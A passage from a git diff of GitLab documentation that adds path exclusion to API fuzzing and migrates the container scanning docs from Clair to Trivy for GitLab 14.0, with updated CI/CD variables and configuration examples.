+ example of this in the [Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml).
Example `.gitlab-ci.yml` file using an OpenAPI Specification:
@@ -200,7 +201,7 @@ To configure API fuzzing to use a HAR file:
1. Add the `fuzz` stage to your `.gitlab-ci.yml` file.
1. [Include](../../../ci/yaml/README.md#includetemplate)
- the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml)
+ the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml)
in your `.gitlab-ci.yml` file.
1. Provide the profile by adding the `FUZZAPI_PROFILE` CI/CD variable to your `.gitlab-ci.yml` file.
@@ -222,7 +223,7 @@ To configure API fuzzing to use a HAR file:
dynamic environments. To run API fuzzing against an app dynamically created during a GitLab CI/CD
pipeline, have the app persist its domain in an `environment_url.txt` file. API fuzzing
automatically parses that file to find its scan target. You can see an
- [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml).
+ [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml).
Example `.gitlab-ci.yml` file using a HAR file:
@@ -271,7 +272,7 @@ To configure API fuzzing to use a Postman Collection file:
1. Add the `fuzz` stage to your `.gitlab-ci.yml` file.
1. [Include](../../../ci/yaml/README.md#includetemplate)
- the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml)
+ the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml)
in your `.gitlab-ci.yml` file.
1. Provide the profile by adding the `FUZZAPI_PROFILE` CI/CD variable to your `.gitlab-ci.yml` file.
@@ -294,7 +295,7 @@ To configure API fuzzing to use a Postman Collection file:
dynamic environments. To run API fuzzing against an app dynamically created during a GitLab CI/CD
pipeline, have the app persist its domain in an `environment_url.txt` file. API fuzzing
automatically parses that file to find its scan target. You can see an
- [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml).
+ [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml).
Example `.gitlab-ci.yml` file using a Postman Collection file:
@@ -567,6 +568,7 @@ profile increases as the number of tests increases.
| `FUZZAPI_TARGET_URL` | Base URL of API testing target. |
| `FUZZAPI_CONFIG` | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/276395) in GitLab 13.12, replaced with default `.gitlab/gitlab-api-fuzzing-config.yml`. API Fuzzing configuration file. |
|[`FUZZAPI_PROFILE`](#api-fuzzing-profiles) | Configuration profile to use during testing. Defaults to `Quick-10`. |
+|[`FUZZAPI_EXCLUDE_PATHS`](#exclude-paths) | Exclude API URL paths from testing. |
|[`FUZZAPI_OPENAPI`](#openapi-specification) | OpenAPI Specification file or URL. |
|[`FUZZAPI_HAR`](#http-archive-har) | HTTP Archive (HAR) file. |
|[`FUZZAPI_POSTMAN_COLLECTION`](#postman-collection) | Postman Collection file. |
@@ -778,7 +780,7 @@ variables:
```
In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a
-[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables):
+[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#add-a-cicd-variable-to-an-instance):
```yaml
stages:
@@ -824,6 +826,47 @@ variables:
FUZZAPI_OVERRIDES_INTERVAL: 300
```
+### Exclude Paths
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211892) in GitLab 14.0.
+
+When testing an API it can be useful to exclude certain paths. For example, you might exclude testing of an authentication service or an older version of the API. To exclude paths, use the `FUZZAPI_EXCLUDE_PATHS` CI/CD variable . This variable is specified in your `.gitlab-ci.yml` file. To exclude multiple paths, separate entries using the `;` character. In the provided paths you can use a single character wildcard `?` and `*` for a multiple character wildcard.
+
+To verify the paths are excluded, review the `Tested Operations` and `Excluded Operations` portion of the job output. You should not see any excluded paths listed under `Tested Operations`.
+
+```plaintext
+2021-05-27 21:51:08 [INF] API Security: --[ Tested Operations ]-------------------------
+2021-05-27 21:51:08 [INF] API Security: 201 POST http://target:7777/api/users CREATED
+2021-05-27 21:51:08 [INF] API Security: ------------------------------------------------
+2021-05-27 21:51:08 [INF] API Security: --[ Excluded Operations ]-----------------------
+2021-05-27 21:51:08 [INF] API Security: GET http://target:7777/api/messages
+2021-05-27 21:51:08 [INF] API Security: POST http://target:7777/api/messages
+2021-05-27 21:51:08 [INF] API Security: ------------------------------------------------
+```
+
+#### Examples of excluding paths
+
+This example excludes the `/auth` resource. This does not exclude child resources (`/auth/child`).
+
+```yaml
+variables:
+ FUZZAPI_EXCLUDE_PATHS=/auth
+```
+
+To exclude `/auth`, and child resources (`/auth/child`), we use a wildcard.
+
+```yaml
+variables:
+ FUZZAPI_EXCLUDE_PATHS=/auth*
+```
+
+To exclude multiple paths we can use the `;` character. In this example we exclude `/auth*` and `/v1/*`.
+
+```yaml
+variables:
+ FUZZAPI_EXCLUDE_PATHS=/auth*;/v1/*
+```
+
### Header Fuzzing
Header fuzzing is disabled by default due to the high number of false positives that occur with many
@@ -1159,7 +1202,7 @@ The API Fuzzing engine outputs an error message when it cannot establish a conne
**Solution**
- Remove the `FUZZAPI_API` variable from the `.gitlab-ci.yml` file. The value will be inherited from the API Fuzzing CI/CD template. We recommend this method instead of manually setting a value.
-- If removing the variable is not possible, check to see if this value has changed in the latest version of the [API Fuzzing CI/CD template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml). If so, update the value in the `.gitlab-ci.yml` file.
+- If removing the variable is not possible, check to see if this value has changed in the latest version of the [API Fuzzing CI/CD template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml). If so, update the value in the `.gitlab-ci.yml` file.
### Application cannot determine the base URL for the target API
@@ -1171,7 +1214,7 @@ The best-suited solution will depend on whether or not your target API changes f
#### Static environment solution
-This solution is for pipelines in which the target API URL doesn't change (is static).
+This solution is for pipelines in which the target API URL doesn't change (is static).
**Add environmental variable**
@@ -1188,7 +1231,7 @@ include:
#### Dynamic environment solutions
-In a dynamic environment your target API changes for each different deployment. In this case, there is more than one possible solution, we recommend to use the `environment_url.txt` file when dealing with dynamic environments.
+In a dynamic environment your target API changes for each different deployment. In this case, there is more than one possible solution, we recommend to use the `environment_url.txt` file when dealing with dynamic environments.
**Use environment_url.txt**
diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md
index 5ab56634d29..8e83ade5608 100644
--- a/doc/user/application_security/container_scanning/index.md
+++ b/doc/user/application_security/container_scanning/index.md
@@ -10,21 +10,18 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3672) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.4.
WARNING:
-GitLab 14.0 will replace its container scanning engine with Trivy. Currently, GitLab uses the open
-source Clair engine for container scanning. GitLab 13.9 deprecates Clair. Until GitLab 14.0, this is
-not a hard breaking change. Beginning in GitLab 14.0, GitLab will no longer update or maintain
-Clair. To ensure that you get regular updates and the latest features, you must use the Trivy
-container scanning engine beginning in GitLab 14.0. See the following sections for instructions on
-moving from Clair to Trivy.
+Versions of GitLab prior to 14.0 used Clair as the default container scanning engine. GitLab 14.0
+replaces Clair with Trivy and removes Clair from the product. If you run container scanning with the
+default settings, GitLab switches you seamlessly and automatically to Trivy in GitLab 14.0. However,
+if you customized the variables in your container scanning job, you should review the
+[migration guide](#migrating-from-clair-to-trivy) and make any necessary updates.
Your application's Docker image may itself be based on Docker images that contain known
vulnerabilities. By including an extra job in your pipeline that scans for those vulnerabilities and
displays them in a merge request, you can use GitLab to audit your Docker-based apps.
-GitLab provides integration with two different open-source tools for vulnerability static analysis
-in containers:
+GitLab provides integration with open-source tools for vulnerability static analysis in containers:
-- [Clair](https://github.com/quay/claircore)
- [Trivy](https://github.com/aquasecurity/trivy)
To integrate GitLab with security scanners other than those listed here, see
@@ -41,10 +38,6 @@ information directly in the merge request.
![Container Scanning Widget](img/container_scanning_v13_2.png)
-<!-- NOTE: The container scanning tool references the following heading in the code, so if you
- make a change to this heading, make sure to update the documentation URLs used in the
- container scanning tool (https://gitlab.com/gitlab-org/security-products/analyzers/klar) -->
-
## Requirements
To enable container scanning in your pipeline, you need the following:
@@ -53,46 +46,25 @@ To enable container scanning in your pipeline, you need the following:
or [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor.
- Docker `18.09.03` or higher installed on the same computer as the runner. If you're using the
shared runners on GitLab.com, then this is already the case.
-- An image matching the following supported distributions (depending on the analyzer being used):
-
- | Scanning Engine | Supported distributions |
- | --- | --- |
- | [Clair](https://github.com/quay/claircore) | [Supported operating systems and languages](https://quay.github.io/claircore/) |
- | [Trivy](https://github.com/aquasecurity/trivy) | Supported [operating systems](https://aquasecurity.github.io/trivy/latest/vuln-detection/os/) and [languages](https://aquasecurity.github.io/trivy/latest/vuln-detection/library/) |
-
+- An image matching the [supported distributions](#supported-distributions).
- [Build and push](../../packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd)
- your Docker image to your project's container registry. The name of the Docker image should use
- the following [predefined CI/CD variables](../../../ci/variables/predefined_variables.md):
-
- ```plaintext
- $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA
- ```
-
- You can use these directly in your `.gitlab-ci.yml` file:
-
- ```yaml
- build:
- image: docker:19.03.12
- stage: build
- services:
- - docker:19.03.12-dind
- variables:
- IMAGE_TAG: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA
- script:
- - docker login -u "$CI_REGISTRY_USER" -p "$CI_REGISTRY_PASSWORD" $CI_REGISTRY
- - docker build -t $IMAGE_TAG .
- - docker push $IMAGE_TAG
- ```
+ the Docker image to your project's container registry. If using a third-party container
+ registry, you might need to provide authentication credentials using the `DOCKER_USER` and
+ `DOCKER_PASSWORD` [configuration variables](#available-cicd-variables).
+- The name of the Docker image to scan, in the `DOCKER_IMAGE` [configuration variable](#available-cicd-variables).
## Configuration
How you enable container scanning depends on your GitLab version:
- GitLab 11.9 and later: [Include](../../../ci/yaml/README.md#includetemplate) the
- [`Container-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml)
+ [`Container-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml)
that comes with your GitLab installation.
- GitLab versions earlier than 11.9: Copy and use the job from the
- [`Container-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml).
+ [`Container-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml).
+
+Other changes:
+
- GitLab 13.6 [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/263482) better support for
[FIPS](https://csrc.nist.gov/publications/detail/fips/140/2/final) by upgrading the
`CS_MAJOR_VERSION` from `2` to `3`. Version `3` of the `container_scanning` Docker image uses
@@ -102,17 +74,20 @@ How you enable container scanning depends on your GitLab version:
`container_scanning` job's [`before_script`](../../../ci/yaml/README.md#before_script)
and [`after_script`](../../../ci/yaml/README.md#after_script)
blocks may not work with the new version. To roll back to the previous [`alpine:3.11.3`](https://hub.docker.com/_/alpine)-based
- Docker image, you can specify the major version through the [`CS_MAJOR_VERSION`](#available-variables)
+ Docker image, you can specify the major version through the [`CS_MAJOR_VERSION`](#available-cicd-variables)
variable.
- GitLab 13.9 [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/322656) integration with
[Trivy](https://github.com/aquasecurity/trivy) by upgrading `CS_MAJOR_VERSION` from `3` to `4`.
+- GitLab 14.0 [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61850)
+ integration with [Trivy](https://github.com/aquasecurity/trivy)
+ as the default for container scanning.
To include the `Container-Scanning.gitlab-ci.yml` template (GitLab 11.9 and later), add the
following to your `.gitlab-ci.yml` file:
```yaml
include:
- - template: Container-Scanning.gitlab-ci.yml
+ - template: Security/Container-Scanning.gitlab-ci.yml
```
The included template:
@@ -127,21 +102,14 @@ that you can download and analyze later. When downloading, you always receive th
artifact.
The following is a sample `.gitlab-ci.yml` that builds your Docker image, pushes it to the container
-registry, and scans the containers:
+registry, and scans the image:
```yaml
-variables:
- DOCKER_DRIVER: overlay2
-
-stages:
- - build
- - test
-
build:
- image: docker:stable
+ image: docker:latest
stage: build
services:
- - docker:19.03.12-dind
+ - docker:dind
variables:
IMAGE: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA
script:
@@ -151,7 +119,7 @@ build:
- docker push $IMAGE
include:
- - template: Container-Scanning.gitlab-ci.yml
+ - template: Security/Container-Scanning.gitlab-ci.yml
```
### Customizing the container scanning settings
@@ -159,76 +127,45 @@ include:
There may be cases where you want to customize how GitLab scans your containers. For example, you
may want to enable more verbose output, access a Docker registry that requires
authentication, and more. To change such settings, use the [`variables`](../../../ci/yaml/README.md#variables)
-parameter in your `.gitlab-ci.yml` to set [CI/CD variables](#available-variables).
+parameter in your `.gitlab-ci.yml` to set [CI/CD variables](#available-cicd-variables).
The variables you set in your `.gitlab-ci.yml` overwrite those in
`Container-Scanning.gitlab-ci.yml`.
This example [includes](../../../ci/yaml/README.md#include) the container scanning template and
-enables verbose output for both analyzers:
-
-Clair:
+enables verbose output for the analyzer:
```yaml
include:
- - template: Container-Scanning.gitlab-ci.yml
+ - template: Security/Container-Scanning.gitlab-ci.yml
variables:
- CLAIR_TRACE: true
+ SECURE_LOG_LEVEL: 'debug'
```
-Trivy:
+#### Available CI/CD variables
-```yaml
-include:
- - template: Container-Scanning.gitlab-ci.yml
-
-variables:
- TRIVY_DEBUG: true
-```
-
-This example [includes](../../../ci/yaml/README.md#include) the container scanning template and
-enables version `2` of the analyzer:
-
-```yaml
-include:
- - template: Container-Scanning.gitlab-ci.yml
-
-variables:
- CS_MAJOR_VERSION: '2'
-```
+You can [configure](#customizing-the-container-scanning-settings) analyzers by using the following CI/CD variables:
-<!-- NOTE: The container scanning tool references the following heading in the code, so if you"
- make a change to this heading, make sure to update the documentation URLs used in the"
- container scanning tool (https://gitlab.com/gitlab-org/security-products/analyzers/klar)" -->
+| CI/CD Variable | Default | Description | Scanner |
+| ------------------------------ | ------------- | ----------- | ------------ |
+| `ADDITIONAL_CA_CERT_BUNDLE` | `""` | Bundle of CA certs that you want to trust. See [Using a custom SSL CA certificate authority](#using-a-custom-ssl-ca-certificate-authority) for more details. | All |
+| `CI_APPLICATION_REPOSITORY` | `$CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG` | Docker repository URL for the image to be scanned. | All |
+| `CI_APPLICATION_TAG` | `$CI_COMMIT_SHA` | Docker repository tag for the image to be scanned. | All |
+| `CS_ANALYZER_IMAGE` | `$SECURE_ANALYZERS_PREFIX/$CS_PROJECT:$CS_MAJOR_VERSION` | Docker image of the analyzer. | All |
+| `CS_DOCKER_INSECURE` | `"false"` | Allow access to secure Docker registries using HTTPS without validating the certificates. | All |
+| `CS_REGISTRY_INSECURE` | `"false"` | Allow access to insecure registries (HTTP only). Should only be set to `true` when testing the image locally. | Trivy. The registry must listen on port `80/tcp`. |
+| `CS_SEVERITY_THRESHOLD` | `UNKNOWN` | Severity level threshold. The scanner outputs vulnerabilities with severity level higher than or equal to this threshold. Supported levels are Unknown, Low, Medium, High, and Critical. | Trivy |
+| `DOCKER_IMAGE` | `$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG` | The Docker image to be scanned. If set, this variable overrides the `$CI_APPLICATION_REPOSITORY` and `$CI_APPLICATION_TAG` variables. | All |
+| `DOCKER_PASSWORD` | `$CI_REGISTRY_PASSWORD` | Password for accessing a Docker registry requiring authentication. | All |
+| `DOCKER_USER` | `$CI_REGISTRY_USER` | Username for accessing a Docker registry requiring authentication. | All |
+| `DOCKERFILE_PATH` | `Dockerfile` | The path to the `Dockerfile` to use for generating remediations. By default, the scanner looks for a file named `Dockerfile` in the root directory of the project. You should configure this variable only if your `Dockerfile` is in a non-standard location, such as a subdirectory. See [Solutions for vulnerabilities](#solutions-for-vulnerabilities-auto-remediation) for more details. | All |
+| `SECURE_LOG_LEVEL` | `info` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. | All |
-#### Available variables
+### Supported distributions
-You can [configure](#customizing-the-container-scanning-settings) both analyzers by using the following CI/CD variables:
+Support depends on the scanner:
-| CI/CD Variable | Default | Description | Supported by|
-| ------------------------------ | ------------- | ----------- | ------------ |
-| `ADDITIONAL_CA_CERT_BUNDLE` | `""` | Bundle of CA certs that you want to trust. See [Using a custom SSL CA certificate authority](#using-a-custom-ssl-ca-certificate-authority) for more details. | Both |
-| `CLAIR_DB_CONNECTION_STRING` | `postgresql://postgres:password@clair-vulnerabilities-db:5432/postgres?sslmode=disable&statement_timeout=60000` | This variable represents the [connection string](https://www.postgresql.org/docs/9.3/libpq-connect.html#AEN39692) to the [PostgreSQL server hosting the vulnerability definitions](https://hub.docker.com/r/arminc/clair-db) database. **Do not change this** unless you're running the image locally as described in [Running the standalone container scanning tool](#running-the-standalone-container-scanning-tool). The host value for the connection string must match the [alias](https://gitlab.com/gitlab-org/gitlab/-/blob/898c5da43504eba87b749625da50098d345b60d6/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L23) value of the `Container-Scanning.gitlab-ci.yml` template file, which defaults to `clair-vulnerabilities-db`. | Clair |
-| `CLAIR_DB_IMAGE` | `arminc/clair-db:latest` | The Docker image name and tag for the [PostgreSQL server hosting the vulnerability definitions](https://hub.docker.com/r/arminc/clair-db). It can be useful to override this value with a specific version (for example, to provide a consistent set of vulnerabilities for integration testing purposes, or to refer to a locally hosted vulnerability database for an on-premise offline installation). | Clair |
-| `CLAIR_DB_IMAGE_TAG` | `latest` | (**DEPRECATED - use `CLAIR_DB_IMAGE` instead**) The Docker image tag for the [PostgreSQL server hosting the vulnerability definitions](https://hub.docker.com/r/arminc/clair-db). It can be useful to override this value with a specific version (for example, to provide a consistent set of vulnerabilities for integration testing purposes). | Clair |
-| `CLAIR_OUTPUT` | `Unknown` | Severity level threshold. Vulnerabilities with severity level higher than or equal to this threshold are output. Supported levels are `Unknown`, `Negligible`, `Low`, `Medium`, `High`, `Critical`, and `Defcon1`. | Clair |
-| `CLAIR_TRACE` | `"false"` | Set to true to enable more verbose output from the Clair server process. | Clair |
-| `CLAIR_VULNERABILITIES_DB_URL` | `clair-vulnerabilities-db` | (**DEPRECATED - use `CLAIR_DB_CONNECTION_STRING` instead**) This variable is explicitly set in the [services section](https://gitlab.com/gitlab-org/gitlab/-/blob/898c5da43504eba87b749625da50098d345b60d6/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L23) of the `Container-Scanning.gitlab-ci.yml` file and defaults to `clair-vulnerabilities-db`. This value represents the address that the [PostgreSQL server hosting the vulnerability definitions](https://hub.docker.com/r/arminc/clair-db) is running on. **Do not change this** unless you're running the image locally as described in [Running the standalone container scanning tool](#running-the-standalone-container-scanning-tool). | Clair |
-| `CI_APPLICATION_REPOSITORY` | `$CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG` | Docker repository URL for the image to be scanned. | Both |
-| `CI_APPLICATION_TAG` | `$CI_COMMIT_SHA` | Docker repository tag for the image to be scanned. | Both |
-| `CS_ANALYZER_IMAGE` | `$SECURE_ANALYZERS_PREFIX/$CS_PROJECT:$CS_MAJOR_VERSION` | Docker image of the analyzer. | Both |
-| `CS_MAJOR_VERSION` | `3` | The major version of the Docker image tag. | Both |
-| `CS_PROJECT` | Depends on `$CS_MAJOR_VERSION`. `klar` if `$CS_MAJOR_VERSION` is set to `1`, `2` or `3`, and `container-scanning` otherwise. | Analyzer project to be used. | Both |
-| `DOCKER_IMAGE` | `$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG` | The Docker image to be scanned. If set, this variable overrides the `$CI_APPLICATION_REPOSITORY` and `$CI_APPLICATION_TAG` variables. | Both |
-| `DOCKER_INSECURE` | `"false"` | Allow [Klar](https://github.com/optiopay/klar) to access secure Docker registries using HTTPS with bad (or self-signed) SSL certificates. | Clair |
-| `DOCKER_PASSWORD` | `$CI_REGISTRY_PASSWORD` | Password for accessing a Docker registry requiring authentication. | Clair |
-| `DOCKER_USER` | `$CI_REGISTRY_USER` | Username for accessing a Docker registry requiring authentication. | Clair |
-| `DOCKERFILE_PATH` | `Dockerfile` | The path to the `Dockerfile` to use for generating remediations. By default, the scanner looks for a file named `Dockerfile` in the root directory of the project. You should configure this variable only if your `Dockerfile` is in a non-standard location, such as a subdirectory. See [Solutions for vulnerabilities](#solutions-for-vulnerabilities-auto-remediation) for more details. | Both |
-| `KLAR_TRACE` | `"false"` | Set to true to enable more verbose output from Klar. | Clair |
-| `REGISTRY_INSECURE` | `"false"` | Allow [Klar](https://github.com/optiopay/klar) to access insecure registries (HTTP only). Should only be set to `true` when testing the image locally. | Clair |
-| `SECURE_ANALYZERS_PREFIX` | `"registry.gitlab.com/gitlab-org/security-products/analyzers"` | Set the Docker registry base address from which to download the analyzer. | Both |
-| `SECURE_LOG_LEVEL` | `info` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. | Both |
-| `TRIVY_DEBUG` | `"false"` | Set to true to enable more verbose output from the Trivy process. | Trivy |
+- [Trivy](https://aquasecurity.github.io/trivy/latest/vuln-detection/os/) (Default).
### Overriding the container scanning template
@@ -236,37 +173,15 @@ If you want to override the job definition (for example, to change properties li
must declare and override a job after the template inclusion, and then
specify any additional keys.
-This example sets `GIT_STRATEGY` to `fetch` to be considered by both Clair and Trivy:
-
-```yaml
-include:
- - template: Container-Scanning.gitlab-ci.yml
-
-.cs_common:
- variables:
- GIT_STRATEGY: fetch
-```
-
-This example sets `KLAR_TRACE` to `true`, which is specific to Clair:
+This example sets `GIT_STRATEGY` to `fetch`:
```yaml
include:
- - template: Container-Scanning.gitlab-ci.yml
+ - template: Security/Container-Scanning.gitlab-ci.yml
container_scanning:
variables:
- CLAIR_TRACE: true
-```
-
-This example sets `TRIVY_DEBUG` to `true`, which is specific to Trivy:
-
-```yaml
-include:
- - template: Container-Scanning.gitlab-ci.yml
-
-container_scanning_new:
- variables:
- TRIVY_DEBUG: true
+ GIT_STRATEGY: fetch
```
WARNING:
@@ -276,36 +191,47 @@ instead.
### Migrating from Clair to Trivy
-If you are currently using Clair and want to migrate to Trivy before GitLab 14.0, you can do so by
-taking the following steps:
+If you're migrating from a GitLab 13.x release to a GitLab 14.x release and have customized the
+`container_scanning` job or its CI variables, you might need to perform these migration steps in
+your CI file:
+
+1. Remove these variables:
+
+ - `CS_MAJOR_VERSION`
+ - `CS_PROJECT`
+ - `SECURE_ANALYZERS_PREFIX`
-1. Take the following actions in your CI file:
+1. Review the `CS_ANALYZER_IMAGE` variable. It no longer depends on the variables above and its new
+ default value is `registry.gitlab.com/security-products/container-scanning:4`. If you have an
+ offline environment, see
+ [Running container scanning in an offline environment](#running-container-scanning-in-an-offline-environment).
- - Set the variable `CS_MAJOR_VERSION` to `4`. The job scope is global variables, or under `.cs_common`.
- - Remove the variable `CS_PROJECT` from your CI file. The job scope is `container_scanning_new`.
- Setting this variable to `container-scanning` under the correct scope has the same effect as
- removing it from your CI file.
- - Remove the `CS_ANALYZER_IMAGE` variable from your CI file. The job scope is `.cs_common`. Note
- that instead of overriding this variable, you can use `CS_MAJOR_VERSION`.
+1. If present, remove the `.cs_common` and `container_scanning_new` configuration sections.
-1. Remove any variables that are only applicable to Clair. For a complete list of these variables,
- see the [available variables](#available-variables).
-1. Make any [necessary customizations](#customizing-the-container-scanning-settings) to the
- `Trivy` scanner. We strongly recommended that you minimize customizations, as they
- might require changes in future GitLab major releases.
+1. If the `container_scanning` section is present, it's safer to create one from scratch based on
+ the new version of the [`Container-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml).
+ Once finished, it should not have any variables that are only applicable to Klar or Clair. For a
+ complete list of supported variables, see [available variables](#available-cicd-variables).
+
+1. Make any [necessary customizations](#customizing-the-container-scanning-settings)
+ to the `Trivy` scanner. We recommend that you minimize such customizations, as they might require
+ changes in future GitLab major releases.
+
+1. Trigger a new run of a pipeline that includes the `container_scanning` job. Inspect the job
+ output and ensure that the log messages do not mention Clair.
**Troubleshooting**
Prior to the GitLab 14.0 release, any variable defined under the scope `container_scanning` is not
considered for the Trivy scanner. Verify that all variables for Trivy are
-either defined as a global variable, or under `.cs_common` and `container_scanning_new`.
+either defined as a global variable, or under `container_scanning`.
### Using a custom SSL CA certificate authority
You can use the `ADDITIONAL_CA_CERT_BUNDLE` CI/CD variable to configure a custom SSL CA certificate authority, which is used to verify the peer when fetching Docker images from a registry which uses HTTPS. The `ADDITIONAL_CA_CERT_BUNDLE` value should contain the [text representation of the X.509 PEM public-key certificate](https://tools.ietf.org/html/rfc7468#section-5.1). For example, to configure this value in the `.gitlab-ci.yml` file, use the following:
```yaml
-.cs_common:
+container_scanning:
variables:
ADDITIONAL_CA_CERT_BUNDLE: |
-----BEGIN CERTIFICATE-----
@@ -379,7 +305,7 @@ at the logs that are produced by the container scanning analyzer in `container_s
The log contains a list of found vulnerabilities as a table, for example:
-```plainttext
+```plaintext
+------------+-------------------------+------------------------+-----------------------+------------------------------------------------------------------------+
| STATUS | CVE SEVERITY | PACKAGE NAME | PACKAGE VERSION | CVE DESCRIPTION |
+------------+-------------------------+------------------------+-----------------------+------------------------------------------------------------------------+
@@ -420,8 +346,7 @@ To use container scanning in an offline environment, you need:
| GitLab Analyzer | Container Registry |
| --- | --- |
-| [Klar](https://gitlab.com/gitlab-org/security-products/analyzers/klar/) (used to run Clair) | [Klar container registry](https://gitlab.com/gitlab-org/security-products/analyzers/klar/container_registry) |
-| [Container-Scanning](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning) (used to run Trivy) | [Container-Scanning container registry](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning/container_registry/1741162) |
+| [Container-Scanning](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning) | [Container-Scanning container registry](https://gitlab.com/security-products/container-scanning/container_registry/) |
Note that GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy),
meaning the runner tries to pull Docker images from the GitLab container registry even if a local
@@ -436,7 +361,6 @@ Support for custom certificate authorities was introduced in the following versi
| Scanner | Version |
| -------- | ------- |
-| `Clair` | [v2.3.0](https://gitlab.com/gitlab-org/security-products/analyzers/klar/-/releases/v2.3.0) |
| `Trivy` | [4.0.0](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning/-/releases/4.0.0) |
#### Make GitLab container scanning analyzer images available inside your Docker registry
@@ -444,17 +368,8 @@ Support for custom certificate authorities was introduced in the following versi
For container scanning, import the following default images from `registry.gitlab.com` into your
[local Docker container registry](../../packages/container_registry/index.md):
-Clair:
-
```plaintext
-registry.gitlab.com/gitlab-org/security-products/analyzers/klar
-https://hub.docker.com/r/arminc/clair-db
-```
-
-Trivy:
-
-```plaintext
-registry.gitlab.com/gitlab-org/security-products/analyzers/container-scanning
+registry.gitlab.com/security-products/container-scanning
```
The process for importing Docker images into a local offline Docker registry depends on
@@ -473,54 +388,33 @@ For details on saving and transporting Docker images as a file, see Docker's doc
1. [Override the container scanning template](#overriding-the-container-scanning-template) in your `.gitlab-ci.yml` file to refer to the Docker images hosted on your local Docker container registry:
- Clair:
-
```yaml
include:
- - template: Container-Scanning.gitlab-ci.yml
+ - template: Security/Container-Scanning.gitlab-ci.yml
- .cs_common:
- image: $CI_REGISTRY/namespace/gitlab-klar-analyzer
- variables:
- CLAIR_DB_IMAGE: $CI_REGISTRY/namespace/clair-vulnerabilities-db
- ```
-
- Trivy:
-
- ```yaml
- include:
- - template: Container-Scanning.gitlab-ci.yml
-
- .cs_common:
+ container_scanning:
image: $CI_REGISTRY/namespace/gitlab-container-scanning
```
1. If your local Docker container registry is running securely over `HTTPS`, but you're using a
- self-signed certificate, then you must set `DOCKER_INSECURE: "true"` in the above
- `container_scanning` section of your `.gitlab-ci.yml`. This only applies to Clair.
